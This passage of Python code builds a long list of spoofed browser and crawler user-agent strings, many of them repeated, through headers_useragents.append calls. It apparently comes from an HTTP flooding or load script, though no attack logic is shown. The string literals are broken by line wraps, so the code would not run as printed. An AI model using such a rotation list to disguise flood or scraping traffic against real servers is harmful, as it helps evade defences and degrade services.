headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
